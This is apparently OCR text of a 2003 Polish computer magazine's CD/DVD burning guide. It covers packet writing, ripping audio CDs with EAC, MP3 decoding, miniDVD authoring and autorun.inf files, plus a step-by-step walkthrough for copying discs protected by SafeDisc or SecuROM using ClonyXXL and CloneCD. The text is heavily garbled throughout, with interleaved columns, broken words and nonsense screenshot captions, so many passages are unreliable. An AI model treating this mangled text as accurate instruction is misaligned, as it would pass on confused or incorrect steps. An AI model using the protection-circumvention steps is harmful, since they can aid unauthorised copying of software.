bem wykorzystania informacji sub-
kanatowych jest zapis informacji
CD-TEXT. Zaznaczajac w Nero
opcje @, uzyskujemy mozliwos¢

Infcemacia | Auda [T | Dpcje COA | Zapis

(===

- [7] P ez [T)-Test o O
Tyt [CD-Test}
ICD T st

Dekvarance
Upcth L

Jgpe

RCCISAl
nawcy

r dopisania tytutu ptyty @, wyko-

, a po podwaojnym Kliknie-
ciu na wybranej sciezce w oknie wi-
doku ptyty ustalamy tytut utworu @

-
=
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Zegnaj dyskietko

Dysponujac nagrywarka, mozemy zapomniec¢ o archaicznych juz dys-
kietkach, nie rezygnujac przy tym z wygody uzycia, jaka zapewniaty

ielu uzytkownikow

komputeréw nadal

zZ pewng dozg nie-
checi podchodzi do przenoszenia
dokumentow za pomocg ptyt na-
grywalnych. Powodem jest sama
procedura nagrywania danych na
CD-R(W) wymagajgca uruchomie-
nia specjalnej aplikacji oraz do$¢
duzej liczby Kliknig¢. W starych do-
brych czasach po prostu wkfadali-
Smy dyskietke do stacji, przeciaga-
liSmy myszka w Eksploratorze Win-
dows wybrane pliki lub dokumenty,
po czym przechodziliSmy z nig do

# Ahead Installer

woSciami (patrz ramka DirectCD 5.1
vs InCD 3.52). Niezaleznie jednak

iMac Apple’a to znak czasu - pierwszy
komputer osobisty bez napedu floppy

od tego, jaki program otrzymalismy
wraz z nagrywarka, po jego instalacji
bedziemy mogli
zapisywac pliki
na CD z wykorzy-
staniem dowol-
nego menedzera
plikow, przykfa-
dowo Total Com-

innego komputera. Tam operacje
odwracali$my i w naturalny sposdb
kontynuowali$my prace.

CD zamiast dyskietki

Na szczescie nie musimy rezyg-
nowac z intuicyjnego wykorzystania
nos$nika CD-R(W). Na ptytce z opro-
gramowaniem dotgczonym do na-
grywarki znajdziemy rowniez aplika-
cje do tak zwanego pakietowego za-
pisu danych (w blokach na specjal-
nie przygotowanej plytce). Uzytkow-
nicy Nero Burning Rom dostajg na-

rzedzie 0 nazwie InCD @, wiascicie-

@- Irvtalts InCE, packel uriting saibwair which alls el
V tes eesly diag-and-dinp poue fles o C0 B/ disca

mandera lub Eks-

le Easy CD Creatora lub WinOnCD___

otrzymujg DirectCD @. Ten ostatni
charakteryzuje sie wiekszymi mozli-

ploratora Win-
dows. Jedyny
warunek to prze-
prowadzenie
operacji formato-

przypisang nagrywar-

ce. Jesli jednak chce- @

DirectCD 5.1 vs InCD 3.52

my odczyta¢ dane

DirectCD 5.1 InCD 3.5.20

2 CD sformatowanego  yysparcie M. Rainier brak jest

do zapisu pakietowe- Zapis pakietowy na CD-R jest brak

go na innym kompu- Kompresja W LOCIE jest brak
terze z czytnikiem Sterownik odczytu UDF na plycie jest hrak
CD-ROM, najczescie] Naprawa bigdow systemu plikéw jest brak
trzeba bedzie doinsta-

lowac specjalny sterownik odpowiednig ak-

(na przyktad EasyWrite Reader).
Jak dotad, sposrod systemow Mi-
crosoftu tylko Windows XP potrafi
czyta¢ pakietowe CD-RW bez in-
stalacji dodatkowego sterownika
odczytu.

Ciekawg funkcja, ktorg znajdzie-
my w DirectCD, jest zapis pakieto-
wy na ptytach CD-R, czyli do jed-
nokrotnego zapisu. Oczywiscie,
ptyt CD-R tak naprawde nie forma-
tujemy. Program udostepnia jg do
zapisu po wybraniu odpowiedniej
opcji. Dane wedrujg na pakietowy
CD-R jedynie do obszaru $rodko-
wego plytki (tak zwany program
area), to znaczy tuz za obszarem
lead-in i przed lead-out, ktore to

directCDT3
fomnat wiliy

wania nosnika CD-RW za pomoca
wykorzystywanego do zapisu opro-
gramowania.

Po formatowaniu ptyty CD-RW
zachowujg sig prawie jak dysk
twardy. Do zawartosSci odwotujemy
sie bezposrednio przez litere dysku

t t
Lead-out 2 mm
Lead-in

t
Obszar danych

pozostajg nieza-
pisane. Takg ptyt-
ke odczytamy
tylko w nagry-
warce, gdyz zwy-
ke napedy CD-
-ROM nie rozpo-
Znaja piyt z dany-
mi, bez nagrane-
go obszaru lead-
-in. Dopiero po
zapetnieniu catej
plytki wybieramy opcje zapisu
struktury formatu 1S0-9660 lub
UDF. Pozwala to na normalne ko-
rzystanie i odczyt danych na in-
nych komputerach z napgdami CD.

Problemy z systemami

Do czasu upowszechnienia sig
lansowanego obecnie formatu zapi-
su pakietowego CD-Mount Rainier,
Read/Write (CD-MRW, patrz ramka
0bok) jesteSmy skazani na instalacije
w systemie dodatkowego oprogra-
mowania. Praktycznie wszystkie do-
stepne na rynku nagrywarki CD-RW
wspierajg juz format Mt. Rainier (do
starszych modeli mozemy pobra¢

tualizacje firm-
ware), to obecnie
zadna z wersji
Windows nie ma
wbudowanej ob-

@ Ekspert radzi

o sprawdzenia, czy nasza nagry-

warka obstuguje zapis pakietowy,
mozemy wykorzystac narzedzie Nero
Info Tool @z pakietu Nero.

Dopiero nastgpca
Windows XP zna- | 11:0] FATEAC  CDWS24E
ny pOd kOdOWa B Software By Drivers |
nazwg Longhorn, & Diive ® Disc
bedzie wspotpra- General ;
COWaC 7 nagry_ Type: CD-Rw Fecorder  Firmwarg
. Fead Speed: 40K w | Buffer 5
warkami zgodny- e_a i Date:
mi z Mt. Rainier witeSpeed: 10X V] Gefall
bez dodatkowego L s ey =
oprogramowania. | _comw M. DvDAw .
By¢ moze, jeden DYD-RAM O DvD+R O
7 kolejnych Ser- DYD-ROM O] ovD+Rw O

vice Packow dla
Windows XP przyniesie zintegrowa-
ne wsparcie dla CD-MRW.

4

@ Format Mount Rainier

d pewnego czasu czotowi producenci nagrywarek
lansujg udoskonalony format zapisu pakietowego.

Oficjalnie nazwany CD-MRW (CD-Mount Rainier,

Read/Write), czesto pojawia sie jako po prostu

Mt. Rainier [ub EasyWrite.

Podstawg opracowania CD-MRW jest uproszczenie proce-

dury przygotowania nowej ptyty CD-RW do zapisu pakie-

towego, obstugiwanego gtéwnie przez firmware nagry-
warki z niewielkg pomocg systemu operacyjnego.

Do najwazniejszych udogodnien formatu CD-MRW naleza:

e szybkie formatowanie ptyty (odbywajace sie
w tle), pozwalajgce na zapis danych juz po kilkudziesie-
ciu sekundach od rozpoczecia formatowania,

o adresowanie blokéw o rozmiarze 2 kB, a nie
64 kB jak dotad, co zapewnia lepsze wykorzystanie po-
jemnosci ptyty w przypadku nagrywania duzej liczby ma-
tych plikdéw oraz zarzadzanie uszkodzonymi sektorami,

e wydzielony obszar z sektorami zapasowymi
- gdy nagrywarka podczas zapisu wykryje wadliwy sek-
tor, zostanie on oznaczony jako niewidoczny, a dane
skierowane do sektora z obszaru zapasowego.

Jednak nowe mozliwosci majg swojg cene. Po sformato-

waniu jako Mt. Rainier ptyty RW o pojemnosci 700 MB

pozostanie nam do uzytku 539 MB przestrzeni, natomiast
klasyczna ptyta z zapisem pakietowym zapewnia nieco
ponad 570 MB.

BT To4] CZERWIEC - LIPIEC 2003




ajbardziej zaawanso-
wane systemy zabez-
pieczen ptyt CD sg
coraz trudniejsze do pokonania.
Biorgc pod uwage skutecznosé
ochrony przed kopiowaniem, prym
wiedzie SafeDisc w wersjach

od 2.51. To zabezpieczenie firmy

Klopotliwe zabezpieczenia |

SafeDisc2

Kazdy CD ma swojg cyfrowa sygnature, zawartos¢ ptyty
jest zaszyfrowana specjalnym algorytmem, a na ptytce
wystepujg uszkodzone sektory. Ze wzgledu na bardzo
wyrafinowany sposob tworzenia sektorow z sygnaturg
oraz uszkodzonych sektordw, skopiowanie ptyty zabez-
pieczonej nowszymi wersjami SafeDiska (od 2.51) okazuje
sie z reguty niewykonalne. Tylko niektdre nagrywarki po-
radzg sobie z SafeDisc2, liste sprawdzonych napedéw
mozemy znalez¢ na stronie www.cdrinfo.pl

SecuROM

Wykorzystuje unikalny numer identyfikacyjny ptyty nada-
wany jej podczas produkcji. Poniewaz numer znajduje sie
w obszarze z reguty niekopiowanym przez nagrywarki,
zainstalowane z kopii oprogramowanie potrafi wykry¢ ten
fakt. Jednak dzieki specjalnym zabiegom (ukrywanie na-
grywarki przez CloneCD, modyfikacja obrazu ptyty) moz-
na wykona¢ kopie bezpieczenstwa CD zabezpieczonego
SecuROM.

LaserLock
Ptyta podczas produkcji ma naniesiony laserem specjalny
znak rozpoznawczy. Jego obecnos¢ jest sprawdzana
przez oprogramowanie znajdujace sie na ptytce w ukry-
tym katalogu.

Producenci gier i oprogramowania czesto
zabezpieczaja krazki CD przed kopiowa-
iem. Naruszaja tym prawa legalnych wia-
icieli nosnikéw, uniemozliwiajac wykona-
e kopii zapasowej do uzytku osobistego

Macrovision wymaga duzo zachodu
podczas prob skopiowania nosnika.
W wielu wypadkach CloneCD —
najpopularniejszy obecnie program
do kopiowania ptyt z zabezpiecze-
niami — wykona kopie CD z Safe
Diskiem, ale program (lub gra)
PO poprawnym zainstalowaniu mi-
mo wszystko nie bedzie dziafac.
Pamietajmy takze o doborze od-
powiedniego sprzetu. Nie kazda
nagrywarka poradzi sobie ze sko-
piowaniem zabezpieczonych ptyt.
Najlepsze rezultaty przy kopiowaniu
uzyskamy, uzywajac nagrywarki ob-
stugujacej tryb odczytu (i zapisu)
nazwany DAO-RAW 96. Informacje
0 trybach odczytu znajdziemy
w ramce Tryb DAO-RAW.

Jak kopiowat
zabezpieczenia

Najprostszy, cho¢ niegwarantu-
jacy 100-procentowe] skuteczno-
$ci, sposab na skopiowanie zabez-
pieczonej plytki stanowi wykorzy-
stanie programéw: ClonyXXL
i CloneCD. Pierwszy z nich wykry-
wa sposob, w jaki zabezpieczono
plyte, a drugi wykonuje kopie.
Dzigki zaimplementowanej
w ClonyXXL obstudze profili
CloneCD program ten automatycz-
nie ustawia dla CloneCD odpo-
wiednie dla danego zabezpiecze-

F:\CFS3 CD1 [13DBAS30]

lax | Srybkndé oyt dargeh erbnat napd i naviengG pravond, debes
i w Soybkodt odezytu audo
[Stedua v Inkaié enucais nagind sudo

[ Dk ko pmeswesae vesi

_ umm.ﬂm J

Golowe

Clony XXL v2.0.0.6

=
[]

nia opcje odczytu i zapisu @. Eks-
pert pokaze, jak sprawdzi¢ zasto-

1 sowane zabezpieczenia i ustawic

i odpowiednie parametry w progra-
imie do tworzenia kopii.

1. Po wlozeniu piyty do napedu kii-

kamy na @. Program wy$wietla na-
Zwe znalezionego zabezpieczenia @

: [\\-’wu- E Skanowanie -
100 M mmw_ 00 [ Nowaphts ey I‘" i
ClBledey TOC Ustowsersa 1ecame
salelisc = ]
. “ [ 1Magrania < nit 4, By ekloy
P0000096 | @9e
3 Daswrek,_ 7 Porady/Pomoc \Z swsten | e ——
12 Ustawerun s ClonelD %) Edtor profk CloneCD ¥ Opcie
[T Dyt subiesnabive ragend = danym . | Sapbkuit zapm
[T et subkanativ 2 nagran sudo LIMMS::W
B sekicedw
[ Bogeneraca Ecmymi 7] e g v dorrch subkanshunsss
Audam % | Szyblie omianic bgdnych schiorw 1] Zaweaze 2amyhial ostainiy sezig
[ inebgeriny skbres brednpch sekiseéw \Wazpathie ustawienia profiu
o arrluroweart
o Pomé sakbory m?{‘};wrﬁ:nrsrinﬂu el

oraz podaje przewidywany stopien
trudnosci procesu kopiowania — i
wigcej czaszek, tym mniejsze
prawdopodobienstwo wykonania
prawid owej kopii piyty Kontrolu-

stepnie uruchamlamy program

CloneCD, klikajac na @.

& Kopiowanie CD do pliku z obrazem plyty
Zamatalowana napgedy CO ROM

% HLDT-ST Rw/DVD GCC 43208 1.01 [F)

@ @ ©

Clorgddl  AudoCD  DataCD

@ @ &

Game CD Mukimeda  Prolected PC
Aud LU Game

| Roapoanane hunkcie:
[Te informacie moga byc niezgodne 2 pawndy. CloneCD nie

| | Producert. HLDT-ST

utyvea lpch mfomac podczas daakare)
OVD GCC-43208

Dckeoyd plyt COAW: Tak
r.adu;l plyt DVD, Tk

plyt MultiSesynuch: Tak
EW&MW danwch Auda: Tk

Hisgrywanse phyt CO-: Tak

Nosgrvwannie/K asewearies phyd CD-RW Tk
Kromgaalybana 2 CloreCD RAWDAD. Tak.
Fompalybina 2 Symulacia CloneCD RAW-DAD; Tak
Nagravanie phyt C0G [RAW DADE Tak
Kompalybdna z CloneCD AAW-5AD: Tak
Kompalybana 2 Symulaciy ClonalD) FAW-SAL- Tak
Dbistuga syestern ocheor zepru (Buin Procl) Tek
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Infoemacio o whodorm CO: 3
2. W gtéwnym oknie CloneCD vmomapom |
wybieramy @, po czym w nastep- rsharh
_ﬁyfn"l(rb'kh_iaznaczamy profil odczy- :
tu pochodzacy z ClonyXXL @. Klika- | = “eessomome
Prodhoit exdcata Darpch | dn (704 hitpteds) -

jac prawym przyciskiem na ikonie
profilu, mozemy dodatkowo skontro-
lowa¢ ustawienia kopiowania @------

2 CloneCD

Els Marzgdms  Ppmoc

@M IQI @2

Odeayt CO i 2apis jakio plk) obummm

'

3. Nastepnie okreslamy folder,

w ktorym zostanie zapisany plik ob-
razu odczytywanej ptyty, i rozpo-
Czynamy proces przenoszenia da-
nych na dysk twardy. W przypadku
zabezpieczen wykorzystujgcych
obecno$¢ uszkodzonych sektorow
na dysku (jak na przykfad SafeDisc)
proces ten moze trwa¢ dos¢ dtugo,
wigc uzbrojmy sie w cierpliwosc
i-ignorujmy komunikaty o wykryciu
btedow odczytu.

4 . Po zrobieniu kopii wypalamy

__Qp_rgg_r_la czystym krazku CD. Klika-
my na °. Dalej postepujemy ana-
logicznie jak podczas tworzenia ob-
razu. Pamigtajmy oczywiscie o wy-
braniu profilu utworzonego przez
ClonyXXL.

] Diieyt darych subkanatowych 7 dcintek darych
[¥] Fisgenenacin sktostw dangch

@Tryb DAO-RAW

ryb DAO-RAW pozwala na

transfer plikdw z i na ptyte
CD bez ingerencji nagrywarki
w strukture danych. Kopiowana
jest cata zawartosc sektora bit po
bicie, bez regeneracji koddw ko-
rekcyjnych (w zwyktym trybie
DAO, TAQ, SAO nagrywarka ge-
neruje kody korekcyjne na pod-
stawie danych uzytkownika). Wy-
rozniamy dwie odmiany trybu
DAO-RAW:
DAO-RAW 96, w ktérym poza
zawartoscig sektora kopiowanych
jest dodatkowych 96 bajtow z in-
formacjami subkanatowymi (uzy-
wanymi przez niektore zabezpie-
czenia, ptyty z CD-Text, CD+G).
DAO-RAW 16, opricz sektora
z danymi naped kopiuje tylko
16 bajtow informacji subkanato-
wych, co wystarcza do przeniesie-
nia na przykfad danych o tytu-
tach z CD-Text, ale moze nie wy-
starczy¢ do skopiowania niekto-
rych odmian zabezpieczen.

v

Ekspert radzi )

arto réwniez zapoznac sie z mozliwosciami innego programu do de-
tekgji zabezpieczen: CCD4 Profiler. W niektdrych przypadkach moze
on poradzi¢ sobie z zabezpieczeniami, ktorych nie rozpoznat ClonyXXL.

© CCD4 - Profiler v1.2

Copyright (C) 2002 by Bones
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. ' niem plyty, a sama pyta czgsto za- (@ = — .
' | Q Q‘ wiera duzg liczbe bfedow objawia- Dekodowanie MP3 do WAV ' '
jacych sie trzaskami w gtosnikach. rogramy do nagrywania, jak na przyktad Nero, po-
Sektory formatu CD Audio nie maja trafig skonwertowac pliki MP3 i wypali¢ je jako —_——
takiej ilosci kodu korekcyjnego, jak Sciezki audio. Wystarczy, ze w nowo utworzonej kompila-

format danych przeznaczonychydla ¢ji CD Audio do okienka z zawartoscig ptyty przeciggnie- )

S my pliki MP3 - Nero zamieni je na strumier danych PCM
komputera. Wysoka predko$¢ na- uzywany do zapisu dzwieku na CD.
grywania przekfada sie na zwiek-

Nagranie lub skopiowanie z dobra

jakoscia, ptyty z muzyka nie jest

Jesli interesuje nas jak najlepsza jakos¢ konwersji MP3 do
E:\Hp3)13ge E—decode "@3. Grey Area — Slowly.mp3" “B3. Grey fArea — Slowly.wav'™
L]
proste. Ekspert spieszy z pomocay

(44.1 kHz. 2 channels. MPEG-1 Layer III}
(16 hit, Microsoft WAUE)

input: rey Area — Slowly.mp3

output: B3. Grey fArea — Slowly.wav
skipping initial 1185 samples <{encoder+decoder delay?
Frameft 15951,15951 192 khps

szong liczbe btednych bitow w sek-
torze, z czym korekcja w odtwarza-
czu stacjonarnym nie jest w stanie
sobie poradzi¢. Ekspert radzi, by
piyty CD Audio nagrywac z predko-
$cig 8x, @ maksymalnie 16x —

WAV, Ekspert poleca inng droge - najpierw konwersje

oddzielnym kodekiem, a dopiero potem nagrywanie. Jako

dekoder empetrdjek sprawuije sie doskonale jeden z najlep-

szych wzgledem jakosci kompresji do MP3 program LAME. -
Przyktadowa linia_polecen dla dekodera moze mie¢ post- ol 4
a¢ @. Pewna niedogodnoécig okazuje sie koniecznos¢ recz-
nego wpisywania nazwy kazdego z plikéw do dekompres;ji.
Tak uzyskane pliki WAV wypalamy w standardowy sposob.

tosunkowo najprostsze  my proces zapisu, okreslajac jed-

okazuje sie wypalenie

piyty z gotowych pli-
kow WAV, co do ktorych jestesSmy
pewni, ze s3 wysokiej jakosci. Wy-
starczy w programie do nagrywania
zaznaczy¢ format CD Audio, na-
stepnie przeciggng¢ wybrane pliki
WAV do okienka z danymi przezna-
czonymi do nagrania. Rozpoczyna-

noczesnie jego predkosc. Tu czeka
na nas jednak pierwsza putapka.
0t6z wypalenie CD Audio z maksy-
malng predkos$cig nagrywarki (32,
40x lub wigcej) na jednej z najtan-
szych plytek z reguty zakonczy sie
poznigjszym rozczarowaniem. Sta-
cjonarny odtwarzacz moze mie¢
problemy z poprawnym rozpozna-

w zaleznosci od jakosci posiada-
nych ptyty CD-R i nagrywarki.

- Zohtazowanes giaticzne

Nero umotliwia reczne ustalanie poczatkéw éciezek i dzielenie dtugich utworéw

nej pfycie @, a takze tytuty po-

szczegllnych utworéw @. Zazna-
czamy zadane utwory i przycis-

Kopiujemy ptyty (D Audio

J kopie ptyty audio, Ekspert ra-
dzi wykorzysta¢ najlepszy program
do zgrywania Sciezek: Exact Audio
Copy (EAC). Jego zaawansowane

mozliwo$ci niemal gwarantujg nam

stu. Najwazniej-
szy krok to okre-
$lenie, czy prefe-
rujemy doktadng
ekstrakcje, czy
bardziej zalezy
nam na predko-

kiem @ uruchamiamy proces eks-

2] x]

EAC option:

Dahaction | General | Tocks | Nomaize | Flename | Catabg | Directeties | wie | Inteface |
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Fou this drive. what you do preder 7 gram przetesn‘”e Ide B _
|| oo e < nasz napgd i wy- P— . R R
Ok s impera bierze najlepszy [z Sl domemsononieadandsmoence Uwaga na ASPI |

tryb zgrywania.
Po zakonczeniu
pracy kreatora
w gtownym oknie programu wciska-
my klawisz <, by skontrolowa¢

J ezeli EAC ma problemy z rozpoznaniem napedu lub =
nie rozpoczyna kopiowania sciezek audio z ptyty, jed-

nym z prawdopodobnych winowajcow moze sie okazac
niepoprawnie zainstalowana biblioteka ASPI (Advanced

SCSI Programmer’s Interface). Stanowi ona pomost po- A
miedzy oprogramowaniem obstugujacym nagrywanie/od-

. Lo czyt z CD a samym sprzetem: nagrywarka czy CD-ROM. =
Zem na prZYC'Sk ®. Po zamknigeiu E Odpowiednie oprogramowanie do kontroli poprawnosci
okienka wciskamy F9, przechodzac |

wiac jej samil Zrobi to za nas pro-
gram podczas drugiego testu @,

]

® ustawienia.

[T r———
[ SO RS,
r

Najlepsza jakosciowo kombina-
cje opcji widzimy na rysunku @.

[ ]
P

et Oczywiscie nie powinnismy usta- do innych opcji EAC. i ze strony www.cdrinfo.pl. S to pliki aspi32.exe i
N e Zaznaczamy dwie opcje: zapew-iii | aspichk.exe.
_temien | R Niajaca poprawne zgranie korica < s st Veriication
=] s aktualnej i poczatku nastepnej ki o ki cmmt P i S eanh”
S % | Scieki @, coprzydasig podczas | wermadeptec.com Wb S
. G e Sream: [Yee . . . i L 7
uzyskanie bezbtednych pllkqw WAV . [T kopiowania ptyt z’nagramem lkon— | e e T — W
nawet z mocno porysowanej piyty. e e certu, oraz @, kidra usuwa cisze P psmsrs _lam T2 | Sy Msch 2 01 A
Podczas pierwszego urucho- v lod e detcteg st | (zerowe probki) z poczatku i kofica Sl (|l <0
mienia EAC przywita nas kreato- inionasion: $ciezki. Ich nagranie na CD-R nie e oAl 4o e} | Sersby Momt 25 20 K1
rem konfiguracji napedu do zgry- loen b s e zakonczy sie wtedy nadmiernym
wania. Warto juz w tym momencie : : wydfuzeniem przerw migdzy utwo- —
wlozy¢ do CD plyte audio, stuzaca P [ rami. W gtownym oknie programu e 8
do przeprowadzenia krotkiego te- wpisujemy informacje o nagrywa-
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Tajniki w

wypalania krazkéw

oraz wiekszg popular-

noscig ciesza sie cyfro-

we kamery DV. Uzyski-
wane z ich pomocg pliki AVI cha-
rakteryzuja sie wielkimi rozmiarami:
jedna minuta filmu w formacie DV
to okoto 230 MB! Ekspert poleca
w pierwszej kolejnosci ich konwer-
sje do bardziej upakowanego for-
matu, czyli MPEG-2. Pozwoli nam

miniDVD

ormat miniDVD (oznaczany czasami jako ¢DVD)
to nic innego jak DVD, ktérego nosnikiem fi-
zycznym jest ptyta CD. CD ma takg samq strukture,
jak prawdziwe dyski DVD Video, lecz mocno ograniczong
pojemnos¢ (do 700 MB). Tym samym, ilos¢ materiatu
wideo, jaki da sie umiesci¢ na miniDVD, nie przekracza
kilkunastu minut nagrania.

MiniDVD nadaje sie idealnie do tworzenia reklam, prezen-
tacji multimedialnych (wideo) o wysokiej jakosci, z wielo-
kanatowym dzwiekiem. Mozliwos¢ odtworzenia w kaz-
dym komputerze z napedem CD jest niezaprzeczalnym

| atutem miniDVD, a ograniczenie pojemnosci do kilkuna-
stu minut nie pozwoli nam zanudzi¢ odbiorcow.

to na przeniesienie nagrania na pty-
te DVD lub miniDVD.

Do kompresji MPEG-2 warto
wykorzysta¢ program TMPGERNC.
Ma on predefiniowane szablony

zapisu wideo

ak w domowych warunkach przygotowac
ptyte przeznaczong dla stacjonarnych od-
varzaczy DVD? Wystarczy odpowiednie

arzedzie do kompresji i zwykty program

PORADY WSZYSTKO O WYPALANIU

Roafos

W @

kompresji dla formatu DVD, co
sprawia, Ze sam proces kodowania
nie powinien nikomu nastreczy¢ ja-
kichkolwiek trudnosci. Musimy pa-
mietac tylko o jednym, by ustali¢
jako wyjScie programu dwa od-
dzielne pliki ze strumieniem wideo
(.m2v) i audio (.m2a), a nie poje-
dynczy plik MPG. Programy do
tworzenia struktury DVD Video

@ Video CD idealne do zdjeé )

esli stworzymy nowg kompilacje

(S)VCD w Nero, a do okna z za-
wartoscig ptyty do nagrania prze-
ciggniemy zamiast pliku MPG pliki
graficzne w jednym z rozpoznawa-
nych formatow (JPG, TIF itp.), pro-
gram utworzy nam dysk CD ze zdje-

lewizora. Oczywiscie mozna je tez
obejrze¢ na komputerze za pomoca
jednego z programowych odtwarza-
czy filméw DVD, na przyktad
PowerDVD.

Zdjecia cyfrowe s3 automatycznie
skalowane do rozmiaru 704 x 576

ciami do przegladania na ekranie te-  lub 352 x 288 pikseli.
(a Ekspert radzi )
J ezeli nie mamy oprogramowania do authoringu DVD Video,
pozostaje nam reczna metoda tworzenia miniDVD. Poniewaz @
stacjonarne odtwarzacze DVD korzystajq z systemu plikow Uni- [ﬁggggl

________________

towego Nero. Przechodnmy do zaktadki UDF, gdzie dla pewnosci mozemy

wiaczy¢ opcje |:| “Wmuszaj b zgadnodei 2 DVD Video [wymagane dla $box TH) \

Strukture folderéw tworzymy recznie, klikajgc prawym przyciskiem myszy
na pustym obszarze okna i wybierajgc z menu opcje . Tworzy-
my foldery o nazwach AUDIO_TS i VIDEO_TS. Na koniec przeciggamy pli-
ki.IVO.BUP | VOB do folderu |. i wypalamy ptytke.

UDFI501

% Mero - Burning Rom -
P Edycja  Widok MNagrywarka Dodotli Okno  Pomec

B &GS Ad&a 7N

I Rozmiarltatnio zmodyfikowan

1

1

1

1

i

1

9w e G

1

H & uprisor

i 4 miniDVD WIDED TS
i 29 AUDIO_TS

i = Nazwa
“iP=3[vIDEC TS

!5] vrs_m_o.lFo
Evrs_m_1voR

6144 2003-05-06 22163
6144 2003-05-06 2216:3

12 288 2003-05-06 22:16:3

49 45T 157 N03-N5-0A 777163

) i si 260 VOB

i BUP w folderze VIDEQ _TS) z re-
guty wymagajg oddzielnie okreslo-
nych plikéw z obrazem i dzwiekiem.

Nastepnie taczymy strumienie

i tworzymy pliki VOB. Idealnie na-
daje sie do tego zadania program
[foEdit. Tworzenie ptytki rozpoczy-
namy od wybrania polecenia @------
Z menu

Subkitle

Setkings

Author new DYD -
Create VIDEC _T5,IFO

W nowym oknie dodajemy przy-

~ Input Stieams
= A Tile
Viden [E\anelt m2y ___Jr:
Ko E\avell m2a 5
i <
Dreday [ums).
o it J
Scene changes / Lhapters ——————————— — —
Position _J
ZOluiput Stam
Destingion:  |eave] ---}
Laresl_|
)

[ Formaty zapisu video

i audio odpowiada predkosci odczytu
najstarszych odiwarzaczy, czyli 1x
(172 kB/s dla sektordw trybu 2

mode 2 z 2324 bajtami danych uiyt-
kownika). Oznacza to, ze na standar-
dowej, 80-minutowej ptytce CD-R (700
MB) zmiescimy takze okoto 80 minut
nagrania wideo z diwigkiem. Jakos¢
filmu Video CD odpowiada nagraniom
VHS.

czo$ci klatki wideo, a takie dzigki uzy-
ciu bardziej zaawansowanego algoryt-
mu MPEG-2 o zmiennej predkosci bi-
towej, filmy w formacie Super Video
CD charakteryzuj sie znacznie lepsza
jakoscia w porwnaniu z Viideo CD. Na
typowej plytce 700 MB zapiszemy od
okoto 35 do 60 minut filmu, co ozna-
cza, e na wigkszo$¢ filmow hedziemy
musieli przeznaczyé ai trzy piyly.

Standardowy bitrate strumienia wideo: 1150 kbit/s CBR (stafa) maksimum 2520 kbit/s VBR (zmienna) ~ maksimum 9,8 Mb/s CBR lub VBR
Algorytm kompresj: MPEG-1 MPEG-2 MPEG-2

Rozdzielczosé klatki: 352 x 288 pikseli 480 x 576 pikseli 720/704 x 576 lub 352 x 576/288 pikseli
Odswiezanie: 25 Klatek/s 25 klatek/s 25 klatek/s

Predkos¢ bitowa strumienia audio: 224 khit/s CBR od 32 do 384 kbit/s VBR od 32 do 912 khit/s VBR

Fotografie: 704 x 576 lub 352 x 288 pikseli 704 x 576 lub 352 x 288 pikseli jako strumien MPEG-2, 720/704 x 576
Uwagi: Sumaryczna predko$¢ strumieni wideo  Ze wzgledu na zwigkszenie rozdziel- Dia filméw niskiej rozdzielczo$ci do-

puszcza sig rowniez algorytm MPEG-1.

CZERWIEC - LIPIEC 2003 [Nt aaa]

ciskami @ utworzone wczesniej

_pliki wideo | audio w formacie
MPEG-2. Ponizej @ ustalamy doce-
lowy folder na dysku, gdzie program

utworzy strukture plikéw dla DVD Vi-

mu, kllkajac na @. Po pewnym cza-
sie otrzymujemy gotowe do odtwo-
rzenia z dysku nagranie DVD.

0 ile dysponujemy nagrywarkg
DVD, mozemy nagranie przenies¢
na krgzek. W programie do wypala-
nia tworzymy po prostu nowy pro-
jekt DVD Video i wygenerowane
przed chwilg pliki .ifo, .bup i .vob
umieszczamy w folderze VIDEO TS
projektu. Po nagraniu ptyty DVD-R
jest juz ona gotowa do ogladania
w stacjonarnych odtwarzaczach
DVD.



a proces automatycz-
nego uruchamiania
odpowiada mecha-
nizm autostartu wprowadzony do
systemow Microsoftu po raz pierw-
szy w Windows 95. Opiera sig on
na specjalnym pliku tekstowym

0 nazwie autorun.inf

Tworzymy autostart
Najczesciej spotykany plik au-
torun.inf przeznaczony jest do
uruchomienia instalatora aplikacji
zamieszczonej na krazku.
Zazwyczaj ma on posta¢ @=--

Fli. Edycia Format iﬂi

\J

[autorun]
opens=setup. exe
jcon=setup. exe

Autostart wywotuje program se-
tup.exe z gtéwnego folderu ptytki
oraz zmienia domysIng ikone na-

Nasze krazki moga po wiozeniu do napedu uruchomic¢ odpowiednia aplikacje lub
wyswietli¢ proste menu. Ekspert pokaze, jak zrobi¢ autostart dla wypalonych pt

(‘ Ekspert radzi |  peunym rozwigzaniem tego pro-

L inia definiujgca plik ikony moze
sie rézni¢ od polecenia otwar-
cia pliku. Mozemy wpisa¢ nazwe

warto$ci:
[autorun]

blemu jest plik autorun.inf o za-

pliku ikony @z=========-=----- 1 open=start index.htm
Plik Edycia Format Wwidok! R Wykorzystujemy tu program
[autorun] start.exe obecny w starszych wer-
open=install.exe . . .
Jcon=nutka.jco - sjach Windows. (Uwaga! Nie ma

go na przykfad w Windows XP).
Start.exe rozpoznaje rozszerzenie
pliku podanego jako argument
i uruchamia odpowiednig aplikacje.
Zamiast start.exe nowsze wer-
sje Windows (od 2000) dysponujg
innym poleceniem otwarcia pliku
dokumentu. Ma ono postac¢ ®.

pedu CD-ROM na ikone pobrang

rowniez z programu setup.exe.
Niestety, jednym z powazniej-

szych ograniczen systemu auto-

startu okazuje sie trudno$c

w otwieraniu innych plikéw niz wy-

konywalne (z rozszerzeniem .exe).

@ Z programem tatwiej

D ostepne s3 rowniez programy utatwiajace wygene-
rowanie poprawnego pliku autorun.inf. Na przyktad
AutoRun Wizard.

1. Prace z narzedziem rozpoczynamy od okreslenia folde-
ru @, w ktorym znajdujq sie pliki przeznaczone do na-

=Y AuluRun Wizanl

Fik:  Hel

R0 =

Wekome Bas Fokar | Auto Launch | lcon | Selssh Screen | Ditions | Test |
Thues Bz Fdlier i e Tl Abaal shomess All of youn s arud fokdess: thal pou wand

to burn bo LY. 1 hese hes nchide any images, hes, exws applications, etc. I you
v rol el creatleed Ehirs (e pou shoubd du so e,

Base: Fuldes

[[:l Feder Location: |> Yautostart_teaty, ol

Na przyktad, po nagraniu na CD

prezentacji w formacie HTML, kto- [autorun]

shellexecute=index. htm

“ons el change: poun hase fokles once e aulosun dal e bas been saved
You must create a new one.

2. Nastepnie na zaktadce @ wybieramy plik @ przezna-

rej gtowna strona ma nazwe in-
dex.htm, préba otworzenia okna
przegladarki poleceniem @ nie
powiedzie sie. i

Windows 2000 Iub XP uruchomi
wtedy kazdy z zarejestrowanych ty-
pow plikow, na przyktad film AVl @.

[autorun] '
open=indax. htmd
dcon=1konka.ico

[autorun]
